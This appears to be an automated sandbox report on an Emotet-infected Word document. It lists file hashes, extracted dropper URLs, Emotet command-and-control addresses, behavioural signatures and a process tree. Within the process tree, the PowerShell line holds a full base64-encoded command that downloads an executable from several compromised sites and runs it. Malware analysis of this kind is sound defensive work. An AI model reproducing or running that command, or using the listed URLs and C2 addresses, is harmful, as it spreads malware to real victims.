Analysis

  • max time kernel
    112s
  • max time network
    97s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    28-07-2020 19:32

General

  • Target

    emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc

  • Size

    170KB

  • MD5

    71429e907b8b83ede1a428b5c6500f26

  • SHA1

    4198f614eef3774ede44d76139d8a2219d66900c

  • SHA256

    0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110

  • SHA512

    4acf496996bbfabea4aab9e820fb09f4a3f6ec317cb006d94a1d9eb706d90b3ef8c31b3dd728c2635b793c91bf102c99ba01f38915f67ad64ab125cf29f9fec9

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://megasolucoesti.com/css/8xbi/

exe.dropper

https://matuteroofing.com/j-folder/2ZdI48222/

exe.dropper

http://mediainmedia.com/upload/xtmvg46/

exe.dropper

http://mgregoire.net/cgi-bin/095d075/

exe.dropper

http://www.mobialive.com/onlineshopping/XLccr/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Drops file in System32 directory 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAFMASQBYAEMAbAB2AGMAPQAnAE0AVABXAEUAQwBnAHMAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAcgBpAFQAeQBQAFIAYABPAFQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABBAEYASABGAEcAdgBxAGgAIAA9ACAAJwAzADAAMQAnADsAJABDAFMAWABNAEwAdwBqAHoAPQAnAEIARwBKAFUAWgBtAGMAcAAnADsAJABPAFQATABSAEQAdQBmAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEARgBIAEYARwB2AHEAaAArACcALgBlAHgAZQAnADsAJABSAFEAWgBXAEEAYQB0AHcAPQAnAFYAQwBCAE4AVQBuAGgAZQAnADsAJABFAEMAUABSAE8AdQBhAGEAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAEIAQwBMAGkARQBuAHQAOwAkAFUAVwBTAFIAQgB0AGoAZgA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAZwBhAHMAbwBsAHUAYwBvAGUAcwB0AGkALgBjAG8AbQAvAGMAcwBzAC8AOAB4AGIAaQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB0AHUAdABlAHIAbwBvAGYAaQBuAGcALgBjAG8AbQAvAGoALQBmAG8AbABkAGUAcgAvADIAWgBkAEkANAA4ADIAMgAyAC8AKgBoAHQAdABwADoALwAvAG0AZQBkAGkAYQBpAG4AbQBlAGQAaQBhAC4AYwBvAG0ALwB1AHAAbABvAGEAZAAvAHgAdABtAHYAZwA0ADYALwAqAGgAdAB0AHAAOgAvAC8AbQBnAHIAZQBnAG8AaQByAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAwADkANQBkADAANwA1AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBvAGIAaQBhAGwAaQB2AGUALgBjAG8AbQAvAG8AbgBsAGkAbgBlAHMAaABvAHAAcABpAG4AZwAvAFgATABjAGMAcgAvACcALgAiAFMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBHAFgAQgBTAG0AdgBhAD0AJwBDAFoAWABTAEEAcgB6AHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATgBGAEsARwBrAG8AaQAgAGkAbgAgACQAVQBXAFMAUgBCAHQAagBmACkAewB0AHIAeQB7ACQARQBDAFAAUgBPAHUAYQBhAC4AIgBEAE8AdwBuAGAATABgAE8AQQBEAEYASQBsAEUAIgAoACQASABOAEYASwBHAGsAbwBpACwAIAAkAE8AVABMAFIARAB1AGYAcQApADsAJABKAEcAUwBYAFQAbwB1AG4APQAnAFkATwBNAFYATQB1AGgAbgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAE8AVABMAFIARAB1AGYAcQApAC4AIgBMAGAARQBuAEcAVABoACIAIAAtAGcAZQAgADIANgA3ADgANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAARQBhAFQARQAiACgAJABPAFQATABSAEQAdQBmAHEAKQA7ACQAUABZAE4AQgBBAG0AcQB3AD0AJwBDAEMASwBOAFkAeAB4AHkAJwA7AGIAcgBlAGEAawA7ACQAUgBOAEkARwBGAHAAdwBsAD0AJwBIAE0AQwBMAE0AaQBlAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBGAFIASwBDAHMAcQBrAD0AJwBPAEEATgBZAFAAdwB1AHcAJwA=
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    PID:1776
  • C:\Users\Admin\301.exe
    C:\Users\Admin\301.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\SysWOW64\ws2_32\quartz.exe
      "C:\Windows\SysWOW64\ws2_32\quartz.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1608

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Replay Monitor

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Downloads

  • C:\Users\Admin\301.exe
  • C:\Users\Admin\301.exe
  • C:\Windows\SysWOW64\ws2_32\quartz.exe
  • memory/1420-2-0x0000000008780000-0x0000000008784000-memory.dmp
    Filesize

    16KB

  • memory/1420-6-0x000000000A8F0000-0x000000000A8F4000-memory.dmp
    Filesize

    16KB

  • memory/1420-7-0x000000000B970000-0x000000000B974000-memory.dmp
    Filesize

    16KB

  • memory/1420-10-0x0000000002100000-0x0000000002101000-memory.dmp
    Filesize

    4KB

  • memory/1608-14-0x0000000000000000-mapping.dmp
  • memory/1608-16-0x0000000000360000-0x000000000036C000-memory.dmp
    Filesize

    48KB

  • memory/1820-12-0x00000000002B0000-0x00000000002BC000-memory.dmp
    Filesize

    48KB